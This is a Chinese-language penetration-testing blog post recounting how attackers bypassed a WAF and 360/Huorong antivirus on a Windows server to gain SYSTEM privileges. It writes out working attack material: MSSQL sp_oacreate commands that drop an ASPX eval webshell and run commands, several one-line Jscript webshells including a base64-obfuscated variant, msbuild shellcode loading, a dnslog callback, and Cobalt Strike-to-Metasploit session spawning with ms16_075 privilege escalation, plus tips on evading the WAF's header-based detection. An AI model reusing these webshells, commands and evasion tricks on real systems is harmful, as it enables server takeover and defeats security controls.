繞過WAF和多個防護軟件提權案例
0x01 前言
這篇文章記錄的是朋友在某次項目測試中遇到的一個因存在WAF和多個防護軟件而無法提權的問題,這次繞防護提權的過程中也是踩了不少的坑,記錄分享下。
0x02 測試過程
朋友發過來的是一個asmx的哥斯拉Webshell,說是存在wdf+360+火絨等安全防護,wdf可能已被360或火絨給接管了,所以這里我們主要繞的是360、火絨。
連上Webshell后發現執行不了任何命令,連常規的set、ver、whoami等命令都不行,EXE就更不用說了。
執行時會卡一段時間,沒有回顯,也不顯示:拒絕訪問,說明不是360和火絨攔的。

而且哥斯拉的EfsPotato、BadPotota、SweetPotato、PortScan和網絡詳情等多個功能模塊都用不了。
執行時都會卡一段時間,然后直接就結束掉了,360和火絨默認不會攔這些,也不知道是啥防護攔的。

Web根目錄下找到一個web.config,里邊存儲著MSSQL數據庫的連接信息,用的是SA用戶,這時可以嘗試xp_cmdshell、sp_oacreate等方式去執行命令,不出意外直接就能得到SYSTEM。

首先通過sp_oacreate測試寫入一個Webshell,發現文件已經被成功寫入到指定路徑中,這就說明這種方式是可以利用的,但發現在Webshell下沒有權限去刪除剛寫入的這個文件,不知道什么鬼。
declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'C:\ProgramData\shell1.aspx',1;EXEC sp_oamethod @f,'WriteLine',null,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'

現實并沒有我們想象的那么順利,因為xp_cmdshell默認是調用system32下的cmd,360會對其進行攔截。
而使用sp_oacreate執行ping、whoami命令時就有看到高權限運行的進程,所以說應該是可以提的。
declare @shell int;exec sp_oacreate 'wscript.shell',@shell output;exec sp_oamethod @shell,'run',null,'C:\Windows\System32\ping ******.dnslog.cn'


通過使用ping dnslog和將命令執行結果寫入文件等方式發現命令都沒有執行成功,也嘗試了sqlps、msbuild等白名單獲取MSF會話,也都失敗了,命令中有無空格結果都一樣,不知道什么鬼。
sqlps、msbuild執行后也有進程,但如果直接去執行指定的木馬程序就沒有進程,也就是說也沒有執行成功。
C:\ProgramData\msf.exeC:\Windows\System32\ping ******.dnslog.cnC:\Windows\System32\whoami > C:\ProgramData\1.txtC:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe shellcode.xml

以上只是簡單記錄了下測試過程中遇到的問題,目前只能執行部分cobaltstrike內置命令,還不能執行系統命令和上線,接下來我們將在本地模擬這個實戰場景來演示如何上線和提權。
0x03 提權過程
首先我們用cobaltstrike生成一個C的shellcode,將shellcode中的\x和"以及多余字符都刪除掉,只需留下hex shellcode即可,然后利用哥斯拉工具的shellcode加載模塊上線。
注:不知為啥在這個場景中MSF的shellcode就不行,也嘗試了用哥斯拉的Meterpeter也不行,都上線不了。

但還是執行不了命令/程序,execute-assembly內存加載也不行,這里不太確定是被什么攔的,現在只能執行部分cobaltstrike內置命令,如:getuid、upload、ps等。

雖然shell命令不能執行,但我們還可以去試下run、execute,結果發現可以使用execute命令去執行免殺的MSF木馬上線。
后邊才發現原來可以直接通過cobaltstrike的spawn來派生會話,這里有個坑,見文末。

通過cobaltstrike的spawn進行派生會話時,MSF監聽使用的Payload必須與cobaltstrike監聽的一致,HTTP或HTTPS,不能使用TCP,否則也可能獲取不了會話。

這時就可以直接利用ms16_075_reflection_juicy模塊來進行提權了,下圖中可以看到已經利用成功,但是并沒有獲取到一個新的高權限會話,不過可以直接執行getsystem進行提權。


注:我們在本地復現測試時發現使用低版本MSF的ms16_075_reflection_juicy模塊怎樣都提權不了,最后沒辦法,找朋友借了他的VPS測試了下,結果一次性就成功了,所以說在實戰中還是得多嘗試!!!
0x04 注意事項
如果提權過程中需要遷移進程,但是沒有可用的遷移進程,這時可以嘗試用execute -Hc -f命令去執行vbc.exe和SQLPS.exe等程序得到一個可遷移進程。?
坑點一:
目標好像存在什么WAF,上傳Webshell時并沒有查殺,但冰蝎馬和其他一些大馬、命令執行馬在訪問時一直轉圈圈,沒能解析成功,應該是被攔了,只能用哥斯拉asmx馬和中國菜刀aspx馬。
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%><%@ Page Language="Jscript"%><% eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("ZXZhbChSZXF1ZXN0Lkl0ZW1bImFudCJdLCJ1bnNhZmUiKTs=")),"unsafe"); %>
為什么普通aspx馬都能過呢?經過測試后發現這個WAF好像是根據Webshell聲明的文件頭來進行攔截的,只要帶有Page Language="C#"就會被攔,不知道這是啥WAF,居然沒有攔截特征。
大馬/冰蝎/哥斯拉aspx:<%@ Page Language="C#" %>中國菜刀aspx:<%@ Page Language="Jscript" %>哥斯拉asmx:<%@ WebService Language="C#" Class="WebService1" %>

坑點二:
當時朋友告訴我他有試過cobaltstrike派生會話到MSF去提權,但是派生不了,他以為是被防護攔截了,所以我也沒有再去測試這個,過于信任他了。
最后發現是他在cobaltstrike設置的監聽端口有問題,當時監聽的是21端口,而他的VPS只允許使用60000以上的端口來監聽,所以MSF獲取不到會話。

坑點三:
寫這篇文章時發現這臺主機已被重啟過,這時哥斯拉虛擬終端、cobaltstrike、MSSQL的sp_oacreate都可以執行命令了,但像powershell、net user等高危命令最好還是不要去執行,360仍會攔截。
最后也沒搞明白是什么東西導致出現文中的各種問題,重啟以后大多數都沒有再被攔了,也不知道是不是重啟以后才能派生的會話,如果在防護生效不能派生會話時我們又該如何進行提權呢......?